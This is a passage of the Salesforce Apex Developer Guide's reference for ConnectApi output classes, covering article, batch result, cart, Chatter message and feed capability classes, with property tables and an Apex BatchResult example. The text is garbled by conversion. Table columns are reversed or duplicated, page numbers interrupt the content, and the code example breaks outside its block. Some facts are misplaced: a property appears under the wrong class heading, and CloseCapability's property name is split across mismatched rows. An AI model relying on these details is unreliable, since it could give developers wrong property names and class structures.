<td>32.0</td>
</tr>
<tr>
<td>rating</td>
<td>Double</td>
<td>The rating of the article.</td>
<td>32.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>Title of the article.</td>
<td>32.0</td>
</tr>
<tr>
<td>urlLink</td>
<td>String</td>
<td>Link URL of the article.</td>
<td>32.0</td>
</tr>
<tr>
<td>viewCount</td>
<td>Integer</td>
<td>Number of votes given to the article.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
  - `ConnectApi.QuestionAndAnswersSuggestions`

**ConnectApi.ArticleSummary**

A knowledge article summary.

Subclass of `ConnectApi.ActorWithId`

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>articleType</td>
<td>String</td>
<td>Type of the knowledge article.</td>

</tr>
<tr>
<td>urlName</td>
<td>String</td>
<td>URL name of the knowledge article.</td>
<td>37.0</td>
</tr>
<tr>
<td>viewCount</td>
<td>Integer</td>
<td>Number of times the knowledge article has been viewed.</td>
<td>38.0</td>
</tr>
</tbody>
</table>

**ConnectApi.AssociatedActionsCapability**

If a feed element has this capability, it has platform actions associated with it.
### ConnectApi Namespace

#### Apex Developer Guide

**Available Version** | **Description** | **Type** | **Property Name**
---|---|---|---
33.0 | The platform action groups associated with a feed element. Platform action groups are returned in the order specified in the `ConnectApi.AssociatedActions CapabilityInput` class. | List<ConnectApi.PlatformActionGroup> | platformActionGroups

**SEE ALSO:**
- `ConnectApi.FeedElementCapabilities`

### ConnectApi.Audience

A personalization audience.

**Available Version** | **Description** | **Type** | **Property Name**
---|---|---|---
48.0 | Criteria details for the audience. | List<ConnectApi.AudienceCriteriaDetail> | criteria

**SEE ALSO:**
- `ConnectApi.AudienceCollection`
ConnectApi.AudienceCollection
Collection of personalization audiences.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>audiences</td>
<td>List&lt;ConnectApi.Audience&gt;</td>
<td>Collection of audiences.</td>

### Property Name | Type | Description | Available Version
--- | --- | --- | ---
uniqueName | String | Unique name used for distinguishing same name fan pages; acts like a user name for a fan page. | 44.0
username | String | Unique user name or handle for this account on the social network. | 44.0

---

**ConnectApi.BaseOutputRepresentation**

Base Order Management output class.

This class is abstract.

**Superclass of:**

- ConnectApi.AdjustOrderSummaryOutputRepresentation
- ConnectApi.CreateCreditMemoOutputRepresentation
- ConnectApi.CreateOrderPaymentSummaryOutputRepresentation
- ConnectApi.EnsureFundsAsyncOutputRepresentation
- ConnectApi.EnsureRefundsAsyncOutputRepresentation
- ConnectApi.FindRoutesWithFewestSplitsOutputRepresentation
- ConnectApi.FulfillmentGroupOutputRepresentation
- ConnectApi.FulfillmentOrderCancelLineItemsOutputRepresentation
- ConnectApi.FulfillmentOrderInvoiceOutputRepresentation
- ConnectApi.FulfillmentOrderOutputRepresentation
- ConnectApi.MultipleFulfillmentOrderOutputRepresentation
- ConnectApi.OrderSummaryOutputRepresentation
- ConnectApi.PreviewCancelOutputRepresentation
- ConnectApi.PreviewReturnOutputRepresentation
- ConnectApi.RankAverageDistanceOutputRepresentation
- ConnectApi.SubmitCancelOutputRepresentation
- ConnectApi.SubmitReturnOutputRepresentation
Available Version Description Type Property Name
--- --- --- --- ---
48.0 Any errors that were returned. List<ConnectApiErrorResponse> errors
48.0 Indicates whether the transaction was successful. Boolean success

**ConnectApi.BatchResult**

The result of an operation returned by a batch method.

**Namespace**

ConnectApi

**Usage**

Calls to batch methods return a list of BatchResult objects. Each element in the BatchResult list corresponds to the strings in the list parameter passed to the batch method. The first element in the BatchResult list matches the first string passed in the list parameter, the second element corresponds with the second string, and so on. If only one string is passed, the BatchResult list contains a single element.

**Example**

The following example shows how to obtain and iterate through the returned ConnectApi.BatchResult objects. The code adds two group IDs to a list. One of group IDs is incorrect, which causes a failure when the code calls the batch method. After it calls the batch method, it iterates through the results to determine whether the operation was successful or not for each group ID in the list. The code writes the ID of every group that was processed successfully to the debug log. The code writes an error message for every failed group.

This example generates one successful operation and one failure.

```java
List<String> myList = new List<String>();
// Add one correct group ID.
myList.add('0F9D00000000oOT');
// Add one incorrect group ID.
myList.add('0F9D00000000izf');
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getGroupBatch(null, myList);

// Iterate through each returned result.
for (ConnectApi.BatchResult batchResult : batchResults) {
    if (batchResult.isSuccess()) {
        // Operation was successful.
        // Print the group ID.
        ConnectApi.ChatterGroupSummary groupSummary;
        if (batchResult.getResult() instanceof ConnectApi.ChatterGroupSummary) {
            groupSummary = (ConnectApi.ChatterGroupSummary) batchResult.getResult();
        }
        System.debug('SUCCESS');
        System.debug(groupSummary.id);
    }
}
```

2122
else {
    // Operation failed. Print errors.
    System.debug('FAILURE');
    System.debug(batchResult.getErrorMessage());
}

IN THIS SECTION:
BatchResult Methods

BatchResult Methods
The following are instance methods for BatchResult.

IN THIS SECTION:
getError()
If an error occurred, returns a ConnectApi.ConnectApiException object providing the error code and description.

getErrorMessage()
Returns a String that contains an error message.

getErrorTypeName()
Returns a String that contains the name of the error type.

getResult()
Returns an object that contains the results of the batch operation. The object is typed according to the batch method. For example, if you call getMembershipBatch(), a successful call to BatchResult getResult() returns a ConnectApi.GroupMembership object.

isSuccess()
Returns a Boolean that is set to true if the batch operation was successful for this object, false otherwise.

ggetError()
If an error occurred, returns a ConnectApi.ConnectApiException object providing the error code and description.

Signature
public ConnectApi.ConnectApiException getError()

Return Value
Type: ConnectApi.ConnectApiException

ggetErrorMessage()
Returns a String that contains an error message.

Signature
public String getErrorMessage()
Return Value
Type: String

Usage
The error message doesn't make a round trip through a Visualforce view state, because exceptions can't be serialized.

ggetErrorTypeName()
Returns a String that contains the name of the error type.

Signature
public String getErrorTypeName()

Return Value
Type: String

ggetResult()
Returns an object that contains the results of the batch operation. The object is typed according to the batch method. For example, if you call getMembershipBatch(), a successful call to BatchResult getResult() returns a ConnectApi.GroupMembership object.

Signature
public Object getResult()

isSuccess()
Returns a Boolean that is set to true if the batch operation was successful for this object, false otherwise.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

ConnectApi.BlankRecordField
A record field displayed as a placeholder in a grid of fields.
Subclass of ConnectApi.AbstractRecordField
**ConnectApi.BookmarksCapability**

If a feed element has this capability, the context user can bookmark it.

Subclass of `ConnectApi.FeedElementCapability`.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isBookmarkedByCurrentUser</td>
<td>Boolean</td>
<td>Indicates whether the feed element has been bookmarked by the context user (<code>true</code>) or not (<code>false</code>).</td>
<td>32.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `ConnectApi.FeedElementCapabilities`

**ConnectApi.BookmarkSummary**

Summary of a bookmark.

Subclass of `ConnectApi.UserFeedEntityActivitySummary`

No additional properties.

**ConnectApi.BundleCapability**

If a feed element has this capability, it has a container of feed elements called a *bundle*.

This class is abstract.

Subclass of `ConnectApi.FeedElementCapability`.

Superclass of:
- `ConnectApi.GenericBundleCapability`
- `ConnectApi.TrackedChangeBundleCapability`

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>bundleType</td>
<td><code>ConnectApi.BundleType</code></td>
<td>Defines this feed element’s bundle type. The bundle type determines what additional information appears in the bundle.</td>
<td>31.0</td>
</tr>
<tr>
<td>page</td>
<td><code>ConnectApi.FeedElementPage</code></td>
<td>A collection of feed elements.</td>
<td>31.0</td>
</tr>
<tr>
<td>totalElements</td>
<td>Integer</td>
<td>The total number of feed elements that this bundle aggregates.</td>
<td>31.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `ConnectApi.FeedElementCapabilities`
**ConnectApi.CallCollaborationCapability**

If a feed element has this capability, it has a recording comment.

Subclass of `ConnectApi.FeedElementCapability`.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>commentEndTime</td>
<td>Integer</td>
<td>End time of the comment on the media player, in seconds.</td>
<td>51.0</td>
</tr>
<tr>
<td>commentStartTime</td>
<td>Integer</td>
<td>Start time of the comment on the media player, in seconds.</td>
<td>51.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `ConnectApi.FeedElementCapabilities`

**ConnectApi.CandidateAnswersStatus**

The status of candidate answers on a feed element.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>hasCandidateAnswers</td>
<td>Boolean</td>
<td>Indicates whether candidate answers are available for a question.</td>
<td>41.0</td>
</tr>
<tr>
<td>hasCandidateAnswersPublished</td>
<td>Boolean</td>
<td>Indicates whether any candidate answers are published.</td>
<td>41.0</td>
</tr>
<tr>
<td>hasCandidateAnswersRated</td>
<td>Boolean</td>
<td>Indicates whether any candidate answers are rated.</td>
<td>41.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `ConnectApi.QuestionAndAnswersCapability`

**ConnectApi.CanvasCapability**

If a feed element has this capability, it renders a canvas app.

Subclass of `ConnectApi.FeedElementCapability`.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>A description of the canvas app. The maximum size is 255 characters.</td>
<td>32.0</td>
</tr>
<tr>
<td>developerName</td>
<td>String</td>
<td>The API name (developer name) of the connected app.</td>
<td>32.0</td>
</tr>
<tr>
<td>height</td>
<td>String</td>
<td>The height of the canvas app in pixels.</td>
<td>32.0</td>
</tr>
<tr>
<td>icon</td>
<td><code>ConnectApi.Icon</code></td>
<td>The icon for the canvas app.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>namespacePrefix</td>
<td>String</td>
<td>A unique namespace prefix for the canvas app.</td>
<td>32.0</td>
</tr>
<tr>
<td>parameters</td>
<td>String</td>
<td>JSON parameters passed to the canvas app.</td>
<td>32.0</td>
</tr>
<tr>
<td>thumbnailUrl</td>
<td>String</td>
<td>A thumbnail URL to a preview image. The maximum thumbnail size is 120 pixels by 120 pixels.</td>
<td>32.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>A title for the canvas link.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `ConnectApi.FeedElementCapabilities`

### ConnectApi.CaptureGatewayResponse

Gateway capture response.

No additional properties.

### ConnectApi.CaptureResponse

Capture output.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>error</td>
<td><code>ConnectApi.ErrorResponse</code> on page 2175</td>
<td>Error response representation for an authorization capture.</td>
<td>50.0</td>
</tr>
<tr>
<td>gatewayResponse</td>
<td><code>ConnectApi.CaptureGatewayResponse</code></td>
<td>Gateway log response containing details about gateway logs created during the process of the capture request.</td>
<td>50.0</td>
</tr>
<tr>
<td>payment</td>
<td><code>ConnectApi.PaymentResponse</code></td>
<td>Payment response object for the capture request. Contains the information related to a payment object created during request processing.</td>
<td>50.0</td>
</tr>
<tr>
<td>paymentGatewayLogs</td>
<td><code>List&lt;ConnectApi.GatewayLogResponse&gt;</code></td>
<td>Gateway log collection for an authorization capture.</td>
<td>50.0</td>
</tr>
<tr>
<td>paymentGroup</td>
<td><code>ConnectApi.PaymentGroupResponse</code></td>
<td>Payment group associated with the capture request.</td>
<td>50.0</td>
</tr>
</tbody>
</table>

### ConnectApi.CartItem

An item in a cart.

Subclass of `ConnectApi.AbstractCartItem`
<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>listPrice</td>
<td>String</td>
<td>List price for the item.</td>
<td>49.0</td>
</tr>
<tr>
<td>salesPrice</td>
<td>String</td>
<td>Sales price for the item.</td>
<td>49.0</td>
</tr>
<tr>
<td>totalAdjustment</td>
<td>String</td>
<td>Total adjustment amount for the item.</td>
<td>50.0</td>
</tr>
<tr>
<td>totalAmount</td>
<td>String</td>
<td>Total amount for the item.</td>
<td>49.0</td>
</tr>
<tr>
<td>totalListPrice</td>
<td>String</td>
<td>Total list price for the item.</td>
<td>49.0</td>
</tr>
<tr>
<td>totalPrice</td>
<td>String</td>
<td>Total price for the item including adjustments but excluding taxes.</td>
<td>49.0</td>
</tr>
<tr>
<td>totalTax</td>
<td>String</td>
<td>Total tax for the item.</td>
<td>49.0</td>
</tr>
<tr>
<td>unitAdjustedPrice</td>
<td>String</td>
<td>Unit price, including adjustments, for the item. This value is informational only and isn’t used in pricing calculations.</td>
<td>50.0</td>
</tr>
<tr>
<td>unitAdjustment</td>
<td>String</td>
<td>Adjustments made to the unit price for the item. This value is informational only and isn’t used in pricing calculations.</td>
<td>50.0</td>
</tr>
</tbody>
</table>

**ConnectApi.CartItemCollection**

Cart item collection.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>cartItems</td>
<td>List&lt;ConnectApi.CartItemResult&gt;</td>
<td>Collection of cart item results.</td>
<td>49.0</td>
</tr>
<tr>
<td>cartSummary</td>
<td>ConnectApi.CartApi</td>
<td>Summary of the cart.</td>
<td>49.0</td>
</tr>
<tr>
<td>currentPageToken</td>
<td>String</td>
<td>Token identifying the current page.</td>
<td>49.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the current page.</td>
<td>49.0</td>
</tr>
<tr>
<td>hasErrors</td>
<td>Boolean</td>
<td>Specifies whether at least one of the results contains an error.</td>
<td>49.0</td>
</tr>
<tr>
<td>nextPageToken</td>
<td>String</td>
<td>Token identifying the next page, or null if there isn’t a next page.</td>
<td>49.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the next page, or null if there isn’t a next page.</td>
<td>49.0</td>
</tr>
<tr>
<td>previousPageToken</td>
<td>String</td>
<td>Token identifying the previous page, or null if there isn’t a previous page.</td>
<td>49.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the previous page, or null if there isn’t a previous page.</td>
<td>49.0</td>
</tr>
</tbody>
</table>
ConnectApi.CartItemProduct

Product summary for a cart item.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fields</td>
<td>Map&lt;String, String&gt;</td>
<td>Map of product fields and values.</td>
<td>49.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the product.</td>
<td>49.0</td>
</tr>
<tr>
<td>productId</td>
<td>String</td>
<td>ID of the product.</td>
<td>49.0</td>
</tr>
<tr>
<td>sku</td>
<td>String</td>
<td>SKU of the product.</td>
<td>49.0</td>
</tr>
<tr>
<td>thumbnailImage</td>
<td>ConnectApi.ProductMedia</td>
<td>Thumbnail image of the product.</td>
<td>49.0</td>
</tr>
<tr>
<td>variationAttributes</td>
<td>Map&lt;ConnectApi.CartProductAttribute, String&gt;</td>
<td>Variation attributes associated with the product.</td>
<td>50.0</td>
</tr>
</tbody>
</table>

ConnectApi.CartItemResult

Result after requesting a cart item.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>cartItem</td>
<td>ConnectApi.AbstractCartItem</td>
<td>Cart item.</td>
<td>49.0</td>
</tr>
<tr>
<td>message</td>
<td>String</td>
<td>Message when the request isn’t successful.</td>
<td>49.0</td>
</tr>
<tr>
<td>status</td>
<td>String</td>
<td>Status for the request.</td>
<td>49.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.CartItemCollection
- ConnectApi.WishlistToCartResult

ConnectApi.CartItemWithoutPrice

An item without price information in a cart.
Subclass of ConnectApi.AbstractCartItem
No additional properties.
### ConnectApi.CartMessage

Cart message.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>message</td>
<td>String</td>
<td>Cart message.</td>
<td>49.0</td>
</tr>
<tr>
<td>messageId</td>
<td>String</td>
<td>ID of the object supplying the message.</td>
<td>49.0</td>
</tr>
<tr>
<td>relatedEntityId</td>
<td>String</td>
<td>ID of the entity, for example, cart, cart item, or cart tax, associated with the message.</td>
<td>49.0</td>
</tr>
<tr>
<td>severity</td>
<td>ConnectApi.CartMessageSeverity</td>
<td>Severity of cart message. Values are: • Error • Info • Warning</td>
<td>49.0</td>
</tr>
<tr>
<td>type</td>
<td>String</td>
<td>Type of message. Standard values include Inventory, Taxes, Pricing, Shipping, Entitlement, SystemError, and Other.</td>
<td>49.0</td>
</tr>
<tr>
<td>visible</td>
<td>Boolean</td>
<td>Specifies whether the message is visible (true) or dismissed (false).</td>
<td>49.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**

- [ConnectApi.CartMessagesSummary](#)

### ConnectApi.CartMessagesSummary

Cart messages summary.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>errorCount</td>
<td>Integer</td>
<td>In ConnectApi.CartItemResult, the count of messages with the Error severity level.</td>
<td>49.0</td>
</tr>
<tr>
<td>hasErrors</td>
<td>Boolean</td>
<td>Specifies whether there are messages related to the entity (true) or not (false).</td>
<td>49.0</td>
</tr>
<tr>
<td>limitedMessages</td>
<td>List&lt;ConnectApi.CartMessage&gt;</td>
<td>In ConnectApi.CartItemResult, a limited list of messages related to the cart item. In ConnectApi.CartSummary, each message can be related to the cart or to another cart-related entity.</td>
<td>49.0</td>
</tr>
<tr>
<td>relatedEntityId</td>
<td>String</td>
<td>In ConnectApi.CartItemResult, the ID of the related cart item. In ConnectApi.CartSummary, each message can be related to the cart or to another cart-related entity.</td>
<td>49.0</td>
</tr>
</tbody>
</table>
### ConnectApi.CartItemResult

Available Version: 50.0

- **totalLineItemsWithErrors** (Integer): In `ConnectApi.CartItemResult`, either `null` if the cart item has no errors or `1` if the cart item has errors. In `ConnectApi.CartSummary`, the total number of product line items that contain errors.

### ConnectApi.CartMessagesVisibilityResult

Result of setting the visibility for cart messages.

Available Version: 50.0

- **visibility** (Boolean): Specifies whether cart messages are set to visible (`true`) or not (`false`).

### ConnectApi.CartProductAttribute

Product attribute for a cart item.

Available Version: 50.0

- **label** (String): Label or display name of the attribute.
- **sequence** (Integer): Sequence of the attribute within the attribute set.
- **value** (String): Display value of the attribute.

### ConnectApi.CartSummary

A cart summary.

Available Version: 49.0

- **accountId** (String): ID of the account for the cart.
- **cartId** (String): ID of the cart.
- **currencyIsoCode** (String): Three-letter ISO 4217 currency code associated with the cart.
- **grandTotalAmount** (String): Grand total amount including shipping and tax for items in the cart, in the currency of the cart.
<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the cart.</td>
<td>49.0</td>
</tr>
<tr>
<td>ownerId</td>
<td>String</td>
<td>ID of the owner of the cart.</td>
<td>49.0</td>
</tr>
<tr>
<td>purchaseOrderNumber</td>
<td>String</td>
<td>Purchase order for the cart.</td>
<td>50.0</td>
</tr>
<tr>
<td>status</td>
<td>ConnectApi.CartStatus</td>
<td>Status of the cart. Values are:</td>
<td>49.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Active—Cart is active.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Checkout—Cart is in checkout.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Closed—Cart is closed.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• PendingDelete—Cart is pending delete, for example, a user deleted the cart</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>but the job hasn’t completed yet.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Processing—Cart is processing.</td>
<td></td>
</tr>
<tr>
<td>totalChargeAmount</td>
<td>String</td>
<td>Total amount for shipping and other charges in the currency of the cart.</td>
<td>49.0</td>
</tr>
<tr>
<td>totalListPrice</td>
<td>String</td>
<td>Total list price for the cart.</td>
<td>49.0</td>
</tr>
<tr>
<td>totalProductAmount</td>
<td>String</td>
<td>Total amount including discounts, but excluding shipping and tax, for</td>
<td>49.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>product items in the cart.</td>
<td></td>
</tr>
<tr>
<td>totalProductCount</td>
<td>String</td>
<td>Total count of items in the cart.</td>
<td>49.0</td>
</tr>
<tr>
<td>totalTaxAmount</td>
<td>String</td>
<td>Total tax amount for the cart, including tax on shipping, if applicable.</td>
<td>49.0</td>
</tr>
<tr>
<td>type</td>
<td>ConnectApi.CartType</td>
<td>Type of cart. Value is Cart.</td>
<td>49.0</td>
</tr>
<tr>
<td>uniqueProductCount</td>
<td>Integer</td>
<td>Total count of unique items, or SKUs, in the cart.</td>
<td>49.0</td>
</tr>
<tr>
<td>webstoreId</td>
<td>String</td>
<td>ID of the webstore of the cart.</td>
<td>49.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.CartItemCollection
- ConnectApi.CartToWishlistResult

**ConnectApi.CartToWishlistResult**

Result of copying products from a cart to a wishlist.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>productsAddedCount</td>
<td>Integer</td>
<td>Number of products copied from the cart to the wishlist.</td>
<td>50.0</td>
</tr>
<tr>
<td>wishlistId</td>
<td>String</td>
<td>ID of the wishlist that cart products were copied to.</td>
<td>50.0</td>
</tr>
</tbody>
</table>
**ConnectApi.CaseCommentCapability**

If a feed element has this capability, it has a case comment on the case feed.

Subclass of `ConnectApi.FeedElementCapability`.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actorType</td>
<td><code>ConnectApi.CaseActorType</code></td>
<td>Specifies the type of user who made the comment.</td>
<td>32.0</td>
</tr>
<tr>
<td>createdBy</td>
<td><code>ConnectApi.Actor</code></td>
<td>Information about the user who created the comment.</td>
<td>32.0</td>
</tr>
<tr>
<td>createdDate</td>
<td><code>Datetime</code></td>
<td>ISO 8601 date string, for example, 2011-02-25T18:24:31.000Z.</td>
<td>32.0</td>
</tr>
<tr>
<td>eventType</td>
<td><code>ConnectApi.CaseCommentEventType</code></td>
<td>Specifies an event type for a comment in the case feed.</td>
<td>32.0</td>
</tr>
<tr>
<td>id</td>
<td><code>String</code></td>
<td>18-character ID of case comment.</td>
<td>32.0</td>
</tr>
<tr>
<td>published</td>
<td><code>Boolean</code></td>
<td>Specifies whether the comment has been published.</td>
<td>32.0</td>
</tr>
<tr>
<td>text</td>
<td><code>String</code></td>
<td>Text of the case comment.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**

`ConnectApi.FeedElementCapabilities`

**ConnectApi.ChangeItemOutputRepresentation**

The financial changes resulting from a change to one or more OrderItemSummaries. Most of the values represent the deltas of the values on the associated OrderSummary. The sign of each value is the opposite of the corresponding value on a change order record. For example, a discount is a positive value here and a negative value on a change order record.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>grandTotalAmount</td>
<td><code>Double</code></td>
<td>Change to the GrandTotalAmount field.</td>
<td>48.0</td>
</tr>
<tr>
<td>totalAdjDeliveryAmtWithTax</td>
<td><code>Double</code></td>
<td>Change to the TotalAdjDeliveryAmtWithTax field.</td>
<td>49.0</td>
</tr>
<tr>
<td>totalAdjDistAmountWithTax</td>
<td><code>Double</code></td>
<td>Change to the TotalAdjDistAmountWithTax field.</td>
<td>49.0</td>
</tr>
<tr>
<td>totalAdjProductAmtWithTax</td>
<td><code>Double</code></td>
<td>Change to the TotalAdjProductAmtWithTax field.</td>
<td>49.0</td>
</tr>
<tr>

<tr>
<td>likesMessage</td>
<td>ConnectApi.MessageBody</td>
<td>A message body that describes who likes the feed element.</td>
<td>32.0</td>
</tr>
<tr>
<td>myLike</td>
<td>ConnectApi.Reference</td>
<td>If the context user has liked the feed element, this property is a reference to the specific like, <code>null</code> otherwise.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ChatterMessage

Chatter message.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>body</td>
<td>ConnectApi.MessageBody</td>
<td>Contents of the message.</td>
<td>29.0</td>
</tr>
<tr>
<td>conversationId</td>
<td>String</td>
<td>ID for the conversation.</td>
<td>29.0</td>
</tr>
<tr>
<td>conversationUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the conversation.</td>
<td>29.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>ID of the message.</td>
<td>29.0</td>
</tr>
<tr>
<td>recipients</td>
<td>List&lt;ConnectApi.UserSummary&gt;</td>
<td>List of the recipients of the message.</td>
<td>29.0</td>
</tr>
<tr>
<td>sender</td>
<td>ConnectApi.UserSummary</td>
<td>Sender of the message.</td>
<td>29.0</td>
</tr>
</tbody>
</table>
Available Version | Description | Type | Name | Available Version
--- | --- | --- | --- | ---
32.0 | Information about the Experience Cloud site from which the message was sent. Returns `null` for the default site or if digital experiences isn’t enabled. | `ConnectApi.Reference` | `sendingCommunity` | 32.0
29.0 | The date and time the message was sent. | `Datetime` | `sentDate` | 29.0
29.0 | Connect REST API URL identifying the current page of the conversation. | `String` | `url` | 29.0

**SEE ALSO:**
- `ConnectApi.ChatterConversationSummary`
- `ConnectApi.ChatterMessagePage`

### ConnectApi.ChatterMessagePage
Chatter message page.

Available Version | Description | Type | Name | Available Version
--- | --- | --- | --- | ---
29.0 | Token identifying the current page. | `String` | `currentPageToken` | 29.0
29.0 | Connect REST API URL identifying the current page. | `String` | `currentPageUrl` | 29.0
29.0 | Messages on the current page. | `List<ConnectApi.ChatterMessage>` | `messages` | 29.0
29.0 | Token identifying the next page, or `null` if there isn’t a next page. | `String` | `nextPageToken` | 29.0
29.0 | Connect REST API URL identifying the next page, or `null` if there isn’t a next page. | `String` | `nextPageUrl` | 29.0

**SEE ALSO:**
- `ConnectApi.ChatterConversation`

### ConnectApi.ChatterStream
A Chatter feed stream.

Available Version | Description | Type | Property Name | Available Version
--- | --- | --- | --- | ---
41.0 | Experience Cloud site where the stream is. | `ConnectApi. CommunitySummary` | `community` | 41.0
39.0 | Date the stream was created. | `Datetime` | `createdDate` | 39.0

2142
### ConnectApi.ChatterStreamPage

A collection of Chatter feed streams.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>URL to the current page of streams.</td>
<td>39.0</td>
</tr>
<tr>
<td>items</td>
<td>List&lt;ConnectApi.ChatterStream&gt;</td>
<td>List of streams.</td>
<td>39.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>URL to the next page of streams. In version 39.0, all streams are included in currentPageUrl and nextPageUrl if null.</td>
<td>39.0</td>
</tr>
<tr>
<td>total</td>
<td>Integer</td>
<td>Total number of streams in the collection.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ClientInfo

Client information.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>applicationName</td>
<td>String</td>
<td>Name of the connected app used for authentication.</td>
<td>28.0</td>
</tr>
<tr>
<td>applicationUrl</td>
<td>String</td>
<td>Value from the Info URL field of the connected app used for authentication.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.Comment
- ConnectApi.FeedItem
**ConnectApi.CloseCapability**

If a feed element has this capability, users with permission can close it.

Users can’t edit (specifically the feed item body or title), comment on, or delete a closed feed element. If the closed feed element is a poll, users can’t vote on it. Users can’t edit (specifically the comment body) or delete a comment on a closed feed element or select or remove it as best answer.

Admins and moderators can edit and delete closed feed elements and comments on closed feed elements. Admins and moderators can select or remove the best answer status on comments on closed feed elements.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>canContextUser</td>
<td>Boolean</td>
<td>Specifies whether the context user has permission to set the feed element to closed (true) or not (false).</td>
<td>43.0</td>
</tr>
<tr>
<td>UpdateIsClosed</td>
<td>Boolean</td>
<td>Specifies whether the feed element is closed (true) or not (false).</td>
<td>43.0</td>
</tr>
</tbody>
</table>

ConnectApi.FilesCapability

ConnectApi.ContentCapability

If a comment has this capability, it has a file attachment.  
Subclass of ConnectApi.FeedElementCapability.  
For files attached to a feed post (instead of a comment) in version 36.0 and later, use ConnectApi.FilesCapability.  
